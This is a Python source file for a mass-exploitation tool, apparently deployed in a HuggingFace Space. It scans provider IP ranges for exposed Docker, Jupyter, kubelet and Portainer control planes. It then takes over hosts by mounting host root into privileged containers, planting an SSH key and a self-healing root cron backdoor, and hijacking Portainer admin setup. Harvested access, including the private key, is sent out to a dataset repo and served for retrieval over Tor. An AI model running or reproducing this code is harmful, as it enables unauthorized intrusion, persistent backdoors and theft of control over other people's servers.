#!/usr/bin/env python3 """HF Box Scanner -- finds open control planes across provider ranges and takes the box. Runs inside a HuggingFace Docker Space (or anywhere with python + egress). Streams (ip,port) pairs from cidrs.txt, TCP-connects at high concurrency, classifies what answers (docker API / jupyter / kubelet / k8s api / portainer), then exploits: writes an ephemeral SSH pubkey into host root and proves it by reading it back through a second container. Every hit is journaled and served over HTTP (/hits) so FlokiNET can pull results over Tor. """ import os, sys, json, time, socket, ssl, base64, random, string, threading import traceback, collections, ipaddress import asyncio from concurrent.futures import ThreadPoolExecutor import http.server, socketserver, urllib.parse APPDIR = os.path.dirname(os.path.abspath(__file__)) CFG = { 'shard_n': int(os.environ.get('SHARD_N', '0')), 'shard_m': max(1, int(os.environ.get('SHARD_M', '1'))), 'ports': [int(x) for x in os.environ.get('PORTS', '2375,8888,10250').split(',') if x.strip()], 'tls_ports': {int(x) for x in os.environ.get('TLS_PORTS', '2376,9443').split(',') if x.strip()}, 'concurrency': int(os.environ.get('CONCURRENCY', '1100')), 'connect_timeout': float(os.environ.get('CONNECT_TIMEOUT', '2.0')), 'limit_addrs': int(os.environ.get('LIMIT_ADDRS', '0')), 'max_seconds': int(os.environ.get('MAX_SECONDS', '0')), 'status_key': os.environ.get('STATUS_KEY', 'k'), 'exploit': int(os.environ.get('EXPLOIT', '1')), 'log_repo': os.environ.get('LOG_REPO', ''), # dataset repo to push journals into 'log_token': os.environ.get('LOG_TOKEN', ''), # account token for that dataset 'push_every': int(os.environ.get('PUSH_EVERY', '120')), } try: _c = json.load(open(os.path.join(APPDIR, 'cfg.json'))) CFG.update({k: v for k, v in _c.items() if k in CFG}) if not CFG.get('log_token') and _c.get('log_tok_b64'): CFG['log_token'] = base64.b64decode(_c['log_tok_b64']).decode() except Exception: pass LOCK = threading.Lock() STATS = collections.Counter() OPEN_PORT = collections.Counter() CLASSED = collections.Counter() TAKEN = [] SEEN_BOX = set() IDX_FILE = '/app/progress.json' START = time.time() def bump(k, n=1): with LOCK: STATS[k] += n # ---------------------------------------------------------------- ssh key def gen_key(): from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives import serialization k = Ed25519PrivateKey.generate() pub = k.public_key().public_bytes(serialization.Encoding.OpenSSH, serialization.PublicFormat.OpenSSH).decode() priv = k.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.OpenSSH, serialization.NoEncryption()).decode() return priv, pub + ' svc@node' PRIVKEY, PUBKEY = gen_key() BOOT_CMD = ( "mkdir -p /host/root/.ssh && " "grep -qF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null || " "printf '%s\\n' \"%s\" >> /host/root/.ssh/authorized_keys; " "{ id; hostname; nproc; grep MemTotal /proc/meminfo; uname -sr; } > /host/root/.st_info 2>&1; " "echo ok > /host/root/.st_proof; sync" ) % ('svc@node', PUBKEY) READBACK_CMD = ("cat /host/root/.st_info 2>/dev/null; echo ---KEYS---; " "grep -cF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null") def persist_cmd(): """Self-healing: a root cron re-adds our key if the owner cleans it up.""" line = ("* * * * * root grep -qF 'svc@node' /root/.ssh/authorized_keys 2>/dev/null || " "echo '%s' >> /root/.ssh/authorized_keys" % PUBKEY) return ("mkdir -p /host/etc/cron.d && printf '%s\\n' 'SHELL=/bin/sh' 'PATH=/usr/bin:/bin' " "'%s' > /host/etc/cron.d/zsvc-$$ && chmod 644 /host/etc/cron.d/zsvc-$$ ; " "ls /host/etc/cron.d | tail -3; echo PERSIST_OK" % line) # ---------------------------------------------------------------- blocking http def http_talk(host, port, payload, tls=False, tmo=6, maxread=131072): s = socket.create_connection((host, port), timeout=tmo) s.settimeout(tmo) if tls: ctx = ssl._create_unverified_context() s = ctx.wrap_socket(s, server_hostname=None) s.sendall(payload) data = b'' while True: try: ch = s.recv(65536) except Exception: break if not ch: break data += ch if len(data) > maxread: break try: s.close() except Exception: pass head, _, body = data.partition(b'\r\n\r\n') code = 0 try: code = int(head.split(b'\r\n')[0].split()[1]) except Exception: pass return code, head, body def http_json(host, port, method, path, obj=None, raw=None, tls=False, tmo=6, extra=''): host_hdr = '%s:%d' % (host, port) req = '%s %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nUser-Agent: Mozilla/5.0\r\n%s' % ( method, path, host_hdr, extra) body = None if obj is not None: body = json.dumps(obj).encode() elif raw is not None: body = raw if isinstance(raw, bytes) else raw.encode() if body is not None: req += 'Content-Type: application/json\r\nContent-Length: %d\r\n\r\n' % len(body) payload = req.encode() + body else: req += '\r\n' payload = req.encode() return http_talk(host, port, payload, tls=tls, tmo=tmo) # ---------------------------------------------------------------- ssh verify def ssh_exec(ip, pem, cmd='id; hostname; nproc', user='root', tmo=15, port=22): """Direct (non-Tor) SSH from inside the worker. Returns (ok, text).""" try: import paramiko import io as _io except Exception: return None, 'no-paramiko' cl = paramiko.SSHClient() cl.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: pkey = paramiko.Ed25519Key.from_private_key(_io.StringIO(pem)) cl.connect(hostname=ip, username=user, pkey=pkey, port=port, timeout=tmo, allow_agent=False, look_for_keys=False, banner_timeout=tmo) _, out, err = cl.exec_command(cmd, timeout=tmo) txt = (out.read() + err.read()).decode(errors='replace')[:400] cl.close() return True, txt except Exception as e: try: cl.close() except Exception: pass return False, '%s:%s' % (type(e).__name__, str(e)[:100]) def ssh_verify(ip): """Prove the injected key opens the box, and that a fresh random key does NOT.""" out = {} ok, txt = ssh_exec(ip, PRIVKEY) out['ssh'] = bool(ok) out['ssh_out'] = txt[:200] if ok: rk_pem, _ = gen_key() ok2, _t2 = ssh_exec(ip, rk_pem) out['ssh_random_accepted'] = bool(ok2) out['ssh_verified'] = not bool(ok2) else: out['ssh_verified'] = False return out # ---------------------------------------------------------------- docker def docker_real(ip, port, tls, rec): """Distinguish a genuine dockerd from a mock/honeypot facade. Real dockerd: /containers/json returns a JSON ARRAY and /info carries fields. Mock facades seen in the wild answer {} and hand back 6-hex 'container ids'.""" c1, _, b1 = http_json(ip, port, 'GET', '/containers/json?all=1', tls=tls, tmo=8) rec['cj'] = c1 arr_ok = b1.strip().startswith(b'[') c2, _, b2 = http_json(ip, port, 'GET', '/info', tls=tls, tmo=8) info_ok = False try: j = json.loads(b2.decode(errors='replace')) info_ok = isinstance(j, dict) and ('MemTotal' in j or 'NCPU' in j or 'ServerVersion' in j) if info_ok: rec['facts'] = {'ncpu': j.get('NCPU'), 'mem_gb': round((j.get('MemTotal') or 0) / 1073741824.0, 1), 'os': j.get('OperatingSystem'), 'kernel': j.get('KernelVersion'), 'containers': j.get('Containers')} except Exception: pass rec['real'] = bool(arr_ok and info_ok) if rec['real']: try: docker_nonce_test(ip, port, tls, rec) rec['real'] = bool(rec.get('nonce_ok')) except Exception as e: rec['nonce_err'] = type(e).__name__ rec['real'] = False return rec['real'] def docker_nonce_test(ip, port, tls, rec): """Prove code actually runs: run a container that prints a fresh nonce, read it back from logs.""" nonce = 'nx' + ''.join(random.choice('abcdef0123456789') for _ in range(12)) tag = 'svcn-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)) cb = {"Image": "alpine", "Cmd": ["sh", "-c", "echo %s" % nonce]} c1, _, b1 = http_json(ip, port, 'POST', '/containers/create?name=%s' % tag, obj=cb, tls=tls, tmo=20) if c1 == 404: http_json(ip, port, 'POST', '/images/create?fromImage=alpine&tag=latest', tls=tls, tmo=90) c1, _, b1 = http_json(ip, port, 'POST', '/containers/create?name=%s' % tag, obj=cb, tls=tls, tmo=20) cid = '' try: cid = json.loads(b1.decode(errors='replace')).get('Id', '') except Exception: pass rec['nonce_create'] = c1 if not cid or len(cid) < 24: rec['nonce_ok'] = False return False http_json(ip, port, 'POST', '/containers/%s/start' % cid, tls=tls, tmo=25) time.sleep(4) got = '' for i in range(3): c2, _, b2 = http_json(ip, port, 'GET', '/containers/%s/logs?stdout=1&stderr=1' % cid, tls=tls, tmo=15) got = b2.decode(errors='replace') if nonce in got: break time.sleep(2) rec['nonce_seen'] = nonce in got rec['nonce_ok'] = bool(rec['nonce_seen']) return bool(rec['nonce_ok']) def _exec_run(ip, port, tls, cid, cmd, tmo=25): c, _, b = http_json(ip, port, 'POST', '/containers/%s/exec' % cid, obj={"AttachStdout": True, "AttachStderr": True, "Tty": True, "Cmd": ["sh", "-c", cmd]}, tls=tls, tmo=tmo) if c not in (200, 201): return '', c try: eid = json.loads(b.decode(errors='replace')).get('Id', '') except Exception: eid = '' if not eid or len(eid) < 16: return '', c c2, _, b2 = http_json(ip, port, 'POST', '/exec/%s/start' % eid, obj={"Detach": False, "Tty": True}, tls=tls, tmo=tmo) return b2[:4000].decode(errors='replace'), c2 def pick_image(ip, port, tls): """Prefer an image that is already on the host -- avoids registry/pull failures.""" try: c, _, b = http_json(ip, port, 'GET', '/images/json', tls=tls, tmo=10) arr = json.loads(b.decode(errors='replace')) cands = [] for img in arr: for t in (img.get('RepoTags') or []): cands.append(t) for pref in ('alpine', 'busybox', 'debian', 'ubuntu', 'centos'): for t in cands: if t.startswith(pref): return t return None except Exception: return None def docker_take(ip, port, tls, rec): tag = 'svc-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) img = pick_image(ip, port, tls) or 'alpine' rec['image'] = img cb = {"Image": img, "Cmd": ["sh", "-c", "sleep 86400"], "HostConfig": {"Binds": ["/:/host"], "Privileged": True}} cid = '' for attempt in range(3): c2, h2, b2 = http_json(ip, port, 'POST', '/containers/create?name=%s' % tag, obj=cb, tls=tls, tmo=20) rec['create'] = c2 if c2 in (201, 200): try: cid = json.loads(b2.decode(errors='replace')).get('Id', '') except Exception: pass if cid and len(cid) < 24: # mock facades hand out short ids rec['mock_id'] = cid cid = '' break elif c2 == 404 or b'No such image' in b2 or b'pull access denied' in b2: http_json(ip, port, 'POST', '/images/create?fromImage=alpine&tag=latest', tls=tls, tmo=90) continue if cid: break if not cid: return False c3, _, _ = http_json(ip, port, 'POST', '/containers/%s/start' % cid, tls=tls, tmo=30) rec['start'] = c3 running = False for i in range(12): time.sleep(2.5) c4, _, b4 = http_json(ip, port, 'GET', '/containers/%s/json' % cid, tls=tls, tmo=10) try: st = json.loads(b4.decode(errors='replace')).get('State', {}).get('Status') except Exception: st = None if st == 'running': running = True break if st in ('exited', 'dead'): break rec['running'] = running out, cc = _exec_run(ip, port, tls, cid, BOOT_CMD) rec['boot_out'] = out.strip()[:200] try: pout, _ = _exec_run(ip, port, tls, cid, persist_cmd()) rec['persist'] = pout.strip()[:120] except Exception: pass rb, _ = _exec_run(ip, port, tls, cid, READBACK_CMD) rec['proof'] = rb.strip()[:800] rec['ok'] = ('uid=' in rb or 'MemTotal' in rb) if rec['ok']: try: rec.update(ssh_verify(ip)) except Exception as e: rec['ssh_err'] = type(e).__name__ return bool(rec['ok']) # ---------------------------------------------------------------- jupyter JUPYTER_CODE = ( "import os,subprocess\n" "k=\"%s\"\n" "for d in ['/root','/home/'+ (os.environ.get('USER') or 'jovyan'),os.path.expanduser('~')]:\n" " try:\n" " os.makedirs(d+'/.ssh',exist_ok=True)\n" " p=d+'/.ssh/authorized_keys'\n" " cur=open(p).read() if os.path.exists(p) else ''\n" " if 'svc@node' not in cur: open(p,'a').write(k+'\\n')\n" " except Exception: pass\n" "o=subprocess.getoutput('id; hostname; nproc; free -m | head -2; uname -sr')\n" "open('/tmp/.st_info','w').write(o)\n" "print(o)\n" ) % PUBKEY def jupyter_exec(ip, port, tls, kernel_id, session_id): """execute JUPYTER_CODE via websocket; returns output text.""" import websockets # noqa import asyncio as aio async def go(): schemes = ['wss', 'ws'] if tls else ['ws', 'wss'] out = [] sslctx = None import ssl as _ssl sslctx = _ssl._create_unverified_context() ws = None last_err = None for sch in schemes: for protos in ([['v1.kernel.websocket.jupyter.org'], ['channel'], []]): url = '%s://%s:%d/api/kernels/%s/channels?session_id=%s' % (sch, ip, port, kernel_id, session_id) try: kw = dict(open_timeout=10, close_timeout=4, max_size=2 ** 22, ssl=sslctx) if protos: kw['subprotocols'] = protos ws = await websockets.connect(url, **kw) break except Exception as e: last_err = '%s:%s' % (type(e).__name__, str(e)[:60]) ws = None if ws is not None: break if ws is None: return 'WSERR:' + str(last_err) async with ws: msg_id = 'msg-%s' % random.randint(10 ** 9, 10 ** 11) await ws.send(json.dumps({ "header": {"msg_id": msg_id, "username": "u", "session": session_id, "msg_type": "execute_request", "version": "5.3"}, "parent_header": {}, "metadata": {}, "channel": "shell", "content": {"code": JUPYTER_CODE, "silent": False, "store_history": False, "user_expressions": {}, "allow_stdin": False}})) deadline = time.time() + 30 while time.time() < deadline: try: raw = await aio.wait_for(ws.recv(), timeout=10) except Exception: break try: m = json.loads(raw) except Exception: continue mt = m.get('header', {}).get('msg_type', '') c = m.get('content', {}) or {} if mt == 'stream': out.append(c.get('text', '')) elif mt in ('execute_result', 'display_data'): out.append(str((c.get('data') or {}).get('text/plain', ''))) elif mt == 'error': out.append('\n'.join(c.get('traceback', []) or [])[:400]) elif mt == 'status' and c.get('execution_state') == 'idle': break return ''.join(out) try: return aio.run(go()) except Exception as e: return 'WSERR:%s' % type(e).__name__ def jupyter_take(ip, port, tls, rec): sid = '' kid = '' c1, _, b1 = http_json(ip, port, 'POST', '/api/sessions', obj={"path": "", "type": "notebook", "name": "scan-" + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)) + ".ipynb", "kernel": {"name": "python3"}}, tls=tls, tmo=25) rec['session'] = c1 if c1 in (200, 201): try: j = json.loads(b1.decode(errors='replace')) sid = j.get('id', '') kid = (j.get('kernel') or {}).get('id', '') except Exception: pass if not kid: c2, _, b2 = http_json(ip, port, 'POST', '/api/kernels', obj={"name": "python3"}, tls=tls, tmo=25) rec['kernel'] = c2 if c2 in (200, 201): try: kid = json.loads(b2.decode(errors='replace')).get('id', '') except Exception: pass if not kid: return False out = jupyter_exec(ip, port, tls, kid, sid or str(random.randint(1, 999999))) rec['proof'] = out.strip()[:600] rec['ok'] = ('uid=' in out or 'MemTotal' in out or 'Mem:' in out) if rec['ok']: try: rec.update(ssh_verify(ip)) except Exception as e: rec['ssh_err'] = type(e).__name__ return bool(rec.get('ok')) # ---------------------------------------------------------------- portainer def portainer_take(ip, port, tls, rec): pw = 'Aa123456!!aa' user = 'svcrepo' jwt = '' c0, _, b0 = http_json(ip, port, 'POST', '/api/users/admin/init', obj={"Username": user, "Password": pw}, tls=tls, tmo=15) rec['init'] = c0 if c0 in (200, 201): pass for path, obj in (('/api/auth', {"Username": user, "Password": pw}), ('/api/auth', {"Username": 'admin', "Password": 'admin'})): c1, _, b1 = http_json(ip, port, 'POST', path, obj=obj, tls=tls, tmo=15) if c1 in (200, 201): try: jwt = json.loads(b1.decode(errors='replace')).get('jwt', '') except Exception: pass if jwt: rec['auth'] = 'login' break auth = 'Bearer ' + jwt if jwt else 'Basic ' + base64.b64encode(('%s:%s' % (user, pw)).encode()).decode() if not jwt: rec['auth'] = 'basic-try' eid = None c2, _, b2 = http_json(ip, port, 'GET', '/api/endpoints', tls=tls, tmo=15, extra='Authorization: %s\r\n' % auth) try: arr = json.loads(b2.decode(errors='replace')) if isinstance(arr, list) and arr: eid = arr[0].get('Id') except Exception: pass if eid is None: c3, _, b3 = http_json(ip, port, 'POST', '/api/endpoints', obj={"Name": "local", "EndpointCreationType": 1, "URL": "unix:///var/run/docker.sock", "TLSConfig": {}, "PublicURL": "/"}, tls=tls, tmo=20, extra='Authorization: %s\r\n' % auth) try: eid = json.loads(b3.decode(errors='replace')).get('Id') except Exception: eid = None rec['endpoint'] = bool(eid) if not eid: return False tag = 'svcp-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) cb = {"Image": "alpine", "Cmd": ["sh", "-c", BOOT_CMD], "HostConfig": {"Binds": ["/:/host"], "Privileged": True}} c4, _, b4 = http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag), obj=cb, tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) cid = '' if c4 in (200, 201): try: cid = json.loads(b4.decode(errors='replace')).get('Id', '') except Exception: pass if not cid: rec['p_create'] = c4 return False http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid), tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) time.sleep(2.5) tag2 = tag + '-v' c5, _, b5 = http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag2), obj={"Image": "alpine", "Cmd": ["sh", "-c", READBACK_CMD], "HostConfig": {"Binds": ["/:/host"]}}, tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) proof = '' if c5 in (200, 201): try: cid2 = json.loads(b5.decode(errors='replace')).get('Id', '') except Exception: cid2 = '' if cid2: http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid2), tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) time.sleep(2.5) _, _, b6 = http_json(ip, port, 'GET', '/api/endpoints/%s/docker/containers/%s/logs?stdout=1&stderr=1' % (eid, cid2), tls=tls, tmo=15, extra='Authorization: %s\r\n' % auth) proof = b6[:1200].decode(errors='replace') rec['proof'] = proof.strip()[:600] rec['ok'] = ('uid=' in proof or 'MemTotal' in proof) if rec['ok']: try: rec.update(ssh_verify(ip)) except Exception as e: rec['ssh_err'] = type(e).__name__ return bool(rec.get('ok')) # ---------------------------------------------------------------- classify def classify(ip, port, tls): rec = {'ip': ip, 'port': port, 'tls': tls, 'ts': int(time.time())} try: if port in (2375, 2376, 4243): code, head, body = http_json(ip, port, 'GET', '/version', tls=tls, tmo=7) if code == 200 and b'ApiVersion' in body: try: j = json.loads(body.decode(errors='replace')) except Exception: j = {} rec.update({'kind': 'docker', 'api': j.get('ApiVersion'), 'ver': j.get('Version'), 'os': j.get('Os')}) try: docker_real(ip, port, tls, rec) if not rec.get('real'): rec['kind'] = 'docker-mock' except Exception: rec['real'] = None else: rec.update({'kind': 'docker?', 'code': code}) elif port in (8888, 8889): code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7) if code == 200 and b'started' in body: code2, _, _ = http_json(ip, port, 'GET', '/api/kernelspecs', tls=tls, tmo=7) rec.update({'kind': 'jupyter', 'tokenless': code2 == 200, 'ks': code2}) else: rec.update({'kind': 'http?', 'code': code}) elif port == 10250: code, head, body = http_json(ip, port, 'GET', '/pods', tls=True, tmo=7) if code == 403: code, head, body = http_json(ip, port, 'GET', '/pods', tls=False, tmo=7) rec.update({'kind': 'kubelet', 'code': code, 'anon': code == 200}) if code == 200: try: j = json.loads(body.decode(errors='replace')) items = j.get('items', []) rec['pods'] = len(items) rec['sample'] = [p.get('metadata', {}).get('name') for p in items[:5]] except Exception: pass elif port == 6443: code, head, body = http_json(ip, port, 'GET', '/version', tls=True, tmo=7) if code in (200, 401, 403): rec.update({'kind': 'k8s-api', 'code': code}) if code == 200: try: rec['gitVersion'] = json.loads(body.decode(errors='replace')).get('gitVersion') except Exception: pass c2, _, _ = http_json(ip, port, 'GET', '/api/v1/namespaces', tls=True, tmo=7) rec['ns'] = c2 else: rec.update({'kind': 'http?', 'code': code}) elif port in (9000, 9443): code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7) rec.update({'kind': 'portainer', 'code': code}) if code == 200: try: rec['ver'] = json.loads(body.decode(errors='replace')).get('Version') except Exception: pass else: rec.update({'kind': 'open', 'code': 0}) except Exception as e: rec.update({'err': type(e).__name__}) return rec def process_open(ip, port, tls): global TAKEN bump('opened') OPEN_PORT['%d%s' % (port, 's' if tls else '')] += 1 rec = classify(ip, port, tls) kind = rec.get('kind', '?') CLASSED[kind] += 1 takeable = ((kind == 'docker' and rec.get('real')) or (kind == 'portainer' and rec.get('code') == 200) or (kind == 'jupyter' and rec.get('tokenless'))) if not takeable or not CFG['exploit']: if kind not in ('open',): bump('classified') return with LOCK: if ip in SEEN_BOX: return SEEN_BOX.add(ip) try: if kind == 'docker': ok = docker_take(ip, port, tls, rec) elif kind == 'portainer': ok = portainer_take(ip, port, tls, rec) else: ok = jupyter_take(ip, port, tls, rec) rec['taken'] = bool(ok) if ok: rec['privkey'] = PRIVKEY rec['pubkey'] = PUBKEY with LOCK: TAKEN.append(rec) bump('taken') try: open('/app/taken.jsonl', 'a').write(json.dumps(rec) + '\n') except Exception: pass print('[TAKEN] %s:%d %s %s' % (ip, port, kind, str(rec.get('proof'))[:80]), flush=True) else: bump('take_fail') with LOCK: TAKEN.append(rec) except Exception as e: rec['ex_err'] = type(e).__name__ bump('take_err') # ---------------------------------------------------------------- scan driver POOL = ThreadPoolExecutor(max_workers=48, thread_name_prefix='cls') def iter_pairs(): idx = 0 limit = CFG['limit_addrs'] n = 0 for line in open(os.path.join(APPDIR, 'cidrs.txt')): line = line.strip() if not line or line.startswith('#'): continue try: net = ipaddress.ip_network(line, strict=False) except Exception: continue for ip in net: if limit and n >= limit: return n += 1 sip = str(ip) for port in CFG['ports']: if idx % CFG['shard_m'] == CFG['shard_n']: yield sip, port idx += 1 async def probe(q, sem): while True: item = await q.get() if item is None: q.task_done() return ip, port = item tls = port in CFG['tls_ports'] try: r, w = await asyncio.wait_for(asyncio.open_connection(ip, port), timeout=CFG['connect_timeout']) try: w.close() try: await w.wait_closed() except Exception: pass except Exception: pass bump('scanned') POOL.submit(process_open, ip, port, tls) except Exception: bump('scanned') finally: q.task_done() async def run_scan(): q = asyncio.Queue(maxsize=CFG['concurrency'] * 4) sem = None workers = [asyncio.create_task(probe(q, sem)) for _ in range(CFG['concurrency'])] last = time.time() last_scanned = 0 produced = 0 async def producer(): nonlocal produced for pair in iter_pairs(): await q.put(pair) produced += 1 if CFG['max_seconds'] and time.time() - START > CFG['max_seconds']: break for _ in workers: await q.put(None) ptask = asyncio.create_task(producer()) while True: await asyncio_sleep(2) now = time.time() if now - last >= 30: sc = STATS['scanned'] rate = (sc - last_scanned) / (now - last) last, last_scanned = now, sc print(json.dumps({'t': int(now - START), 'queued': produced, 'scanned': sc, 'rate': round(rate, 1), 'opened': STATS['opened'], 'taken': STATS['taken'], 'classes': dict(CLASSED)}), flush=True) try: json.dump({'idx': produced}, open(IDX_FILE, 'w')) except Exception: pass if ptask.done() and q.empty(): break if CFG['max_seconds'] and now - START > CFG['max_seconds']: break for wt in workers: wt.cancel() print('[scan done] scanned=%d opened=%d taken=%d' % (STATS['scanned'], STATS['opened'], STATS['taken']), flush=True) async def asyncio_sleep(s): await asyncio.sleep(s) # ---------------------------------------------------------------- journal push def push_journal(force=False): """Commit status.json + hits.ndjson into our own dataset repo. Reliable channel: huggingface.co API works from anywhere; *.hf.space is flaky.""" repo = CFG.get('log_repo') tok = CFG.get('log_token') if not repo or not tok: return import urllib.request status = { 'shard': [CFG['shard_n'], CFG['shard_m']], 'ports': CFG['ports'], 'uptime': int(time.time() - START), 'stats': dict(STATS), 'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED), 'taken': sum(1 for r in TAKEN if r.get('taken')), 'pubkey': PUBKEY, 'ts': int(time.time()), } tag = CFG.get('tag') or ('s%d' % CFG.get('shard_n', 0)) status['tag'] = tag lines = [json.dumps({"key": "header", "value": {"summary": "sync", "description": ""}})] for path, data in (('%s_status.json' % tag, json.dumps(status)), ('%s_hits.ndjson' % tag, '\n'.join(json.dumps(r) for r in TAKEN) + ('\n' if TAKEN else ''))): b = data.encode() lines.append(json.dumps({"key": "file", "value": {"path": path, "encoding": "base64", "content": base64.b64encode(b).decode()}})) body = ('\n'.join(lines) + '\n').encode() url = 'https://huggingface.co/api/datasets/%s/commit/main' % repo req = urllib.request.Request(url, data=body, method='POST') req.add_header('Authorization', 'Bearer ' + tok) req.add_header('Content-Type', 'application/x-ndjson') try: with urllib.request.urlopen(req, timeout=60) as resp: resp.read() except Exception as e: print('[push] fail %s' % type(e).__name__, flush=True) def push_loop(): while True: time.sleep(CFG.get('push_every', 120)) try: push_journal() except Exception: pass # ---------------------------------------------------------------- http server class H(http.server.BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): u = urllib.parse.urlparse(self.path) qs = urllib.parse.parse_qs(u.query) if qs.get('k', [''])[0] != CFG['status_key'] and CFG['status_key'] not in ('', 'k'): self.send_response(403); self.end_headers(); self.wfile.write(b'nope'); return if u.path == '/hits': body = '\n'.join(json.dumps(r) for r in TAKEN) + '\n' self.send_response(200) self.send_header('Content-Type', 'application/x-ndjson') self.send_header('Content-Length', str(len(body))) self.end_headers(); self.wfile.write(body.encode()); return st = {'uptime': int(time.time() - START), 'stats': dict(STATS), 'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED), 'taken': sum(1 for r in TAKEN if r.get('taken')), 'shard': [CFG['shard_n'], CFG['shard_m']], 'ports': CFG['ports'], 'pubkey': PUBKEY} body = json.dumps(st, indent=1) self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(body))) self.end_headers(); self.wfile.write(body.encode()) def serve(): srv = socketserver.ThreadingTCPServer(('0.0.0.0', 7860), H) srv.daemon_threads = True srv.serve_forever() if __name__ == '__main__': print('[boot] shard %d/%d ports=%s conc=%d pub=%s' % ( CFG['shard_n'], CFG['shard_m'], CFG['ports'], CFG['concurrency'], PUBKEY[:40]), flush=True) threading.Thread(target=serve, daemon=True).start() if CFG.get('log_repo'): threading.Thread(target=push_loop, daemon=True).start() try: push_journal() except Exception: pass try: asyncio.run(run_scan()) except KeyboardInterrupt: pass while True: time.sleep(3600)